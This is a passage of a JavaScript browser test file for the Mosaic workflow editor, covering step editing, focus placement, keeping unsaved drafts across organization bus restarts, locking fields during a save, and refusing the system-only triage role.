await click('[data-wfg-card] [data-wfg-card-step][href="#/orgs/acme/workflows/change?project=site&step=2"]', 'step 2 on the card');
|
||||
// The step's title field has focus, the caret at the end, ready to type.
|
||||
await wait(`document.activeElement?.matches('[data-wfg-step-form] input[name="title"]') && document.activeElement.value === 'Ship'`, 'focus in the title');
|
||||
assert.equal(await b.evaluate(`document.activeElement.selectionStart`), 4);
|
||||
// The title and Save are both on screen without a scroll (SP17 shots: at 390 Save was below the fold).
|
||||
const inView = sel => `(()=>{const r=document.querySelector(${JSON.stringify(sel)}).getBoundingClientRect();return r.top>=0&&r.bottom<=innerHeight})()`;
|
||||
assert.equal(await b.evaluate(inView('[data-wfg-step-form] input[name="title"]')), true, 'title in view');
|
||||
assert.equal(await b.evaluate(inView('[data-wfg-step-form] [data-wfg-save]')), true, 'Save in view');
|
||||
assert.match(await b.evaluate(`document.getElementById('announce')?.textContent ?? ''`), /Step 2, Ship\. Change it and press Save\./);
|
||||
await b.call('Input.insertText', { text: ' the release' });
|
||||
await click('[data-wfg-step-form] [data-wfg-save]', 'Save');
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')}) && !document.querySelector('[data-wfg-unsaved]')`, 'saved');
|
||||
// Focus stays in the step's title, and the line saying it saved is on screen.
|
||||
await wait(`document.activeElement?.dataset.focusKey === 'wfg-f-title'`, 'focus kept in the form');
|
||||
assert.equal(await b.evaluate(inView('[data-wfg-step-form] [data-wfg-status]')), true, 'Saved line in view');
|
||||
const clicks = await b.evaluate(`__clicks`);
|
||||
assert.equal(clicks.length, c.want.length, `${c.want.length} clicks: ${JSON.stringify(clicks)}`);
|
||||
c.want.forEach((w, i) => (w instanceof RegExp ? assert.match(clicks[i], w) : assert.equal(clicks[i], w)));
|
||||
assert.equal(st.writes.length, 1);
|
||||
assert.deepEqual(st.writes[0].args, { revision: REV_A, name: 'change', project: 'site', workflow: { title: 'Site release', steps: [
|
||||
{ title: 'Build', state: 'in-progress', roles: ['coder'] }, { title: 'Ship the release', state: 'done', roles: ['human'] }] } });
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// SP17 item 4: an edit open when the organization's bus restarts is not lost without a word. The list is
|
||||
// read again (as the bus banner and Restart bus do) and the page drawn again (as the poll does).
|
||||
const relist = `(async()=>{await window.MosaicOrg.refreshList();document.dispatchEvent(new CustomEvent('mosaic-workspace-render'));return true})()`;
|
||||
const heldLinks = `[...document.querySelectorAll('[data-wfg-card] [data-wfg-held] [data-wfg-held-link]')].map(a=>[a.getAttribute('href'),a.textContent])`;
|
||||
|
||||
test('SP17: a step edit open while the bus restarts, then stops, is kept and named, and saves when the bus is back', { timeout: 90000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=2' });
|
||||
await retitle(b, wait, 2, 'Ship it');
|
||||
// Restarting: the bus does not answer, the file still reads. The form stays as typed; Save says why it did not save.
|
||||
st.down.acme = 'restarting';
|
||||
await b.evaluate(relist);
|
||||
await b.evaluate(`new Promise(r=>setTimeout(()=>r(true),300))`);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]')?.value`), 'Ship it');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/the organization bus is not running/.test(document.querySelector('[data-wfg-status]')?.textContent ?? '')`, 'no bus host');
|
||||
assert.match(await b.evaluate(`document.body.innerText`), /Your change is kept/);
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]')?.value`), 'Ship it');
|
||||
// Stopped: the page does not read the organization. It says the change is kept, on this page and on the
|
||||
// organization's card, which links back to it.
|
||||
st.down.acme = 'stopped';
|
||||
await b.evaluate(relist);
|
||||
await wait(`!document.querySelector('${form}') && !!document.querySelector('[data-wfg-held]')`, 'kept note while stopped');
|
||||
assert.equal(await b.evaluate(text('[data-wfg-held]')), 'Unsaved change to change is kept on this page. It comes back when the workflows can be read.');
|
||||
assert.equal(await b.evaluate(`window.MosaicWorkflows.hasDraft()`), true);
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/organization';true`);
|
||||
await wait(`!!document.querySelector('[data-wfg-card][data-bus-stopped] [data-wfg-held]')`, 'card kept note while stopped');
|
||||
assert.deepEqual(await b.evaluate(heldLinks), [['#/orgs/acme/workflows/change?project=site', 'change (project site)']]);
|
||||
// Back: the card still names it; its link opens the graph with the step as typed, and Save writes it.
|
||||
delete st.down.acme;
|
||||
await b.evaluate(relist);
|
||||
await wait(`!document.querySelector('[data-wfg-card][data-bus-stopped]') && !!document.querySelector('[data-wfg-card] [data-wfg-held-link]')`, 'card back with kept note');
|
||||
await b.evaluate(`document.querySelector('[data-wfg-card] [data-wfg-held-link]').click();true`);
|
||||
await wait(`location.hash === '#/orgs/acme/workflows/change?project=site' && ${titles}[1] === 'Ship it' && ${saveOn}`, 'kept change drawn');
|
||||
const before = st.writes.length;
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`!document.querySelector('[data-wfg-unsaved]') && !${saveOn}`, 'saved');
|
||||
assert.equal(st.writes.length, before + 1);
|
||||
assert.equal(st.writes.at(-1).args.revision, REV_A);
|
||||
assert.equal(st.writes.at(-1).args.workflow.steps[1].title, 'Ship it');
|
||||
assert.equal(st.docs.acme.projects.site.workflows.change.steps[1].title, 'Ship it');
|
||||
assert.equal(await b.evaluate(`window.MosaicWorkflows.hasDraft()`), false);
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/organization';true`);
|
||||
await wait(`!!document.querySelector('[data-wfg-card] [data-wfg-card-item]')`, 'card');
|
||||
assert.equal(await b.evaluate(`!!document.querySelector('[data-wfg-card] [data-wfg-held]')`), false, 'nothing is held once saved');
|
||||
});
|
||||
|
||||
test('SP17: Restart bus on the organization page with a step edit open keeps it, names it on the card, and it saves after', { timeout: 90000 }, async t => {
|
||||
const restarts = [];
|
||||
const admin = st => createOrgAdmin({
|
||||
service: { showOrg: async (ctx, id) => ({ id, revision: 1, doc: {} }) }, registry: { listOrgs: async () => [] }, context: async () => ({ configDir: '/cfg', dataRoot: '/data', instance: 'test' }),
|
||||
bus: {
|
||||
busStatus: async (ctx, id) => ({ org: id, healthy: !st.down[id], pid: st.down[id] ? null : 4242 }),
|
||||
// The restart takes the bus down, and it comes back before the answer, as a real restart does.
|
||||
busRestart: async (ctx, id) => { restarts.push(id); st.down[id] = 'restarting'; await new Promise(r => setTimeout(r, 200)); delete st.down[id]; return { org: id, pid: 4343, socket: '/data/s', root: `/data/org-runtime/${id}` }; },
|
||||
busStart: async () => { throw Error('not reached: the bus runs'); },
|
||||
},
|
||||
});
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=2', admin });
|
||||
await retitle(b, wait, 2, 'Ship it');
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/organization';true`);
|
||||
await wait(`!!document.querySelector('[data-org-dashboard] [data-bus-restart]') && !!document.querySelector('[data-wfg-card] [data-wfg-held-link]')`, 'restart button and kept note');
|
||||
assert.deepEqual(await b.evaluate(heldLinks), [['#/orgs/acme/workflows/change?project=site', 'change (project site)']]);
|
||||
await b.evaluate(press('[data-org-dashboard] [data-bus-restart]'));
|
||||
await wait(`/It answers/.test(document.querySelector('[data-org-dashboard] [data-bus-restart-receipt]')?.textContent || '')`, 'restart receipt');
|
||||
assert.deepEqual(restarts, ['acme']);
|
||||
await b.evaluate(relist);
|
||||
await wait(`!!document.querySelector('[data-wfg-card] [data-wfg-held-link]')`, 'kept note after the restart');
|
||||
assert.deepEqual(await b.evaluate(heldLinks), [['#/orgs/acme/workflows/change?project=site', 'change (project site)']]);
|
||||
assert.equal(await b.evaluate(`window.MosaicWorkflows.hasDraft()`), true);
|
||||
await b.evaluate(`document.querySelector('[data-wfg-card] [data-wfg-held-link]').click();true`);
|
||||
await wait(`location.hash === '#/orgs/acme/workflows/change?project=site' && ${titles}[1] === 'Ship it' && ${saveOn}`, 'kept change drawn');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`!document.querySelector('[data-wfg-unsaved]') && !${saveOn}`, 'saved');
|
||||
assert.equal(st.writes.length, 1);
|
||||
assert.equal(st.writes[0].args.revision, REV_A);
|
||||
assert.equal(st.docs.acme.projects.site.workflows.change.steps[1].title, 'Ship it');
|
||||
});
|
||||
|
||||
// SP17 review P2-1: an open edit of one step is not dropped when another step is opened from the card or the
|
||||
// address and typed in. Both edits go in the one Save.
|
||||
test('SP17: an edit of step 1 is kept when step 2 is opened from the card or the address and changed, and Save sends both', { timeout: 90000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=1' });
|
||||
await retitle(b, wait, 1, 'Build it');
|
||||
// From the card: the card says the change is kept; its step link opens step 2.
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/organization';true`);
|
||||
await wait(`!!document.querySelector('[data-wfg-card] [data-wfg-held-link]')`, 'card kept note');
|
||||
await b.evaluate(`document.querySelector('[data-wfg-card] a[data-wfg-card-step][href="#/orgs/acme/workflows/change?project=site&step=2"]').click();true`);
|
||||
await wait(`document.querySelector('${form}')?.dataset.wfgStepForm === '1'`, 'step 2 form');
|
||||
assert.deepEqual(await b.evaluate(titles), ['Build it', 'Ship']);
|
||||
await retitle(b, wait, 2, 'Ship it');
|
||||
assert.deepEqual(await b.evaluate(titles), ['Build it', 'Ship it'], 'typing in step 2 keeps step 1 as changed');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
|
||||
assert.deepEqual(st.writes.at(-1).args.workflow.steps.map(s => s.title), ['Build it', 'Ship it']);
|
||||
// From the address: step 1 changed, then the address names step 2.
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows/change?project=site&step=1';true`);
|
||||
await retitle(b, wait, 1, 'Build again');
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows/change?project=site&step=2';true`);
|
||||
await wait(`document.querySelector('${form}')?.dataset.wfgStepForm === '1'`, 'step 2 form from the address');
|
||||
await retitle(b, wait, 2, 'Ship again');
|
||||
assert.deepEqual(await b.evaluate(titles), ['Build again', 'Ship again']);
|
||||
// Reset step on step 2 puts back step 2 only.
|
||||
await b.evaluate(press('[data-wfg-cancel]'));
|
||||
await wait(`${titles}[1] === 'Ship it'`, 'step 2 reset');
|
||||
assert.deepEqual(await b.evaluate(titles), ['Build again', 'Ship it'], 'Reset step on step 2 leaves step 1 changed');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'second save');
|
||||
assert.deepEqual(st.writes.at(-1).args.workflow.steps.map(s => s.title), ['Build again', 'Ship it']);
|
||||
});
|
||||
|
||||
// SP17 review P2-2: nothing typed while a Save is in flight is dropped: the form's fields take no typing until
|
||||
// the write answers.
|
||||
test('SP17: while a Save is in flight the form takes no typing, and takes it again after', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=2' });
|
||||
await retitle(b, wait, 2, 'Ship it');
|
||||
const fields = `[...document.querySelectorAll('${form} input[name="title"], ${form} select, ${form} [data-wfg-roles-pick]')].map(e=>e.disabled)`;
|
||||
const openWrite = st.hold('write');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`document.querySelector('[data-wfg-save]')?.disabled === true`, 'save in flight');
|
||||
assert.deepEqual(await b.evaluate(fields), [true, true, true], 'title, state and roles are off while saving');
|
||||
// A poll redraw during the write keeps them off.
|
||||
await b.evaluate(`document.dispatchEvent(new CustomEvent('mosaic-workspace-render'));true`);
|
||||
await b.evaluate(`new Promise(r=>setTimeout(()=>r(true),300))`);
|
||||
assert.deepEqual(await b.evaluate(fields), [true, true, true], 'still off after a redraw');
|
||||
openWrite();
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
|
||||
assert.deepEqual(await b.evaluate(fields), [false, false, false], 'on again once saved');
|
||||
assert.equal(st.writes.at(-1).args.workflow.steps[1].title, 'Ship it');
|
||||
// A refused Save gives the fields back too.
|
||||
await retitle(b, wait, 2, 'Ship again');
|
||||
st.down.acme = 'restarting';
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/the organization bus is not running/.test(document.querySelector('[data-wfg-status]')?.textContent ?? '')`, 'refused');
|
||||
assert.deepEqual(await b.evaluate(fields), [false, false, false], 'on again after a refusal');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="title"]').value`), 'Ship again');
|
||||
});
|
||||
|
||||
// #1873 triage-drawer item 6: the Triage template is system-only. The picker never offers it, and a step
|
||||
// that names it is marked and named by the save check, as any role the organization cannot hold.
|
||||
test('the step picker does not offer the triage template, and a step naming it is marked and refused before the bus', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?step=1' });
|
||||
await wait(`!!document.querySelector('${form}')`, 'step 1 form');
|
||||
assert.equal(await b.evaluate(`document.querySelector('${form} input[name="role"][value="triage"]')`), null, 'not in the edit form');
|
||||
await b.evaluate(press('[data-wfg-add]'));
|
||||
await wait(`!!document.querySelector('[data-wfg-add-form]')`, 'add form');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-add-form] input[name="role"][value="triage"]')`), null, 'not in the add form');
|
||||
assert.doesNotMatch(await b.evaluate(text('[data-wfg-add-form] [data-wfg-roles-pick]')), /triage/);
|
||||
await b.evaluate(press('[data-wfg-add-form] [data-wfg-cancel]'));
|
||||
st.change('acme', doc => { doc.workflows.sorted = { steps: [{ title: 'Sort', state: 'todo', roles: ['triage'] }] }; });
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows/sorted?step=1'`);
|
||||
await wait(`!!document.querySelector('${form}') && document.querySelectorAll('[data-wfg-graph] [data-wfg-missing]').length === 1`, 'triage marked in the graph');
|
||||
assert.match(await b.evaluate(text(`${form} [data-wfg-roles-pick]`)), /triage names no current role/);
|
||||
await b.evaluate(fill(`${form} input[name="title"]`, 'Sort it'));
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Step 1: triage names no current role/.test(${text('[data-wfg-status]')})`, 'refused on the page');
|
||||
assert.equal(st.writes.length, 0, 'nothing sent');
|
||||
});
|
||||
|
||||
// #1873 triage-drawer item 6: an add form in which only the state was changed is not closed without a word.
|
||||
test('Save with only the state changed in the add form says so and keeps the form', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=1' });
|
||||
await retitle(b, wait, 1, 'Build it');
|
||||
await b.evaluate(press('[data-wfg-add]'));
|
||||
await wait(`!!document.querySelector('[data-wfg-add-form]')`, 'add form');
|
||||
await b.evaluate(`(()=>{const e=document.querySelector('[data-wfg-add-form] select[name="state"]');e.value='in-review';e.dispatchEvent(new Event('input',{bubbles:true}));return true})()`);
|
||||
await b.evaluate(press('[data-wfg-bar] [data-wfg-save]'));
|
||||
await wait(`/new step 2 is not added yet/.test(${text('[data-wfg-bar] [data-wfg-status]')})`, 'said in words');
|
||||
assert.equal(st.writes.length, 0, 'nothing written');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-add-form] select[name="state"]')?.value`), 'in-review', 'the form is kept as set');
|
||||
// Cancel drops it; Save then saves the rest.
|
||||
await b.evaluate(press('[data-wfg-add-form] [data-wfg-cancel]'));
|
||||
await wait(`!document.querySelector('[data-wfg-add-form]')`, 'add form closed');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
|
||||
assert.deepEqual(st.writes.at(-1).args.workflow.steps.map(s => s.title), ['Build it', 'Ship']);
|
||||
});
|
||||
|
||||
// SP17 review 2 P2-1: a new step typed in the add form is not dropped by the bar's Save: Save says it is not
|
||||
// added yet and keeps the form; once added, Save sends it.
|
||||
test('SP17: the bar Save with a new step typed in the add form says so and keeps it, and saves it once added', { timeout: 60000 }, async t => {
|
||||
const { b, wait, st } = await setup(t, { path: '#/orgs/acme/workflows/change?project=site&step=1' });
|
||||
await retitle(b, wait, 1, 'Build it');
|
||||
await b.evaluate(press('[data-wfg-add]'));
|
||||
await wait(`!!document.querySelector('[data-wfg-add-form]')`, 'add form');
|
||||
await b.evaluate(fill('[data-wfg-add-form] input[name="title"]', 'Check'));
|
||||
await b.evaluate(`document.querySelector('[data-wfg-add-form] input[name="role"][value="human"]').click();true`);
|
||||
await b.evaluate(press('[data-wfg-bar] [data-wfg-save]'));
|
||||
await wait(`/new step 2 is not added yet/.test(${text('[data-wfg-bar] [data-wfg-status]')})`, 'refused in words');
|
||||
assert.equal(st.writes.length, 0, 'nothing written');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-add-form] input[name="title"]')?.value`), 'Check', 'the typed step is kept');
|
||||
assert.equal(await b.evaluate(`document.activeElement === document.querySelector('[data-wfg-add-form] input[name="title"]')`), true, 'focus in the new step');
|
||||
assert.equal(await b.evaluate(`window.MosaicWorkflows.hasDraft()`), true);
|
||||
await b.evaluate(press('[data-wfg-add-step]'));
|
||||
await wait(`${titles}.length === 3`, 'step added');
|
||||
await b.evaluate(press('[data-wfg-save]'));
|
||||
await wait(`/Saved change\\./.test(${text('[data-wfg-status]')})`, 'saved');
|
||||
assert.deepEqual(st.writes.at(-1).args.workflow.steps.map(s => [s.title, s.roles]), [['Build it', ['coder']], ['Check', ['human']], ['Ship', ['human']]]);
|
||||
});
|
||||
Reference in new issue
Block a user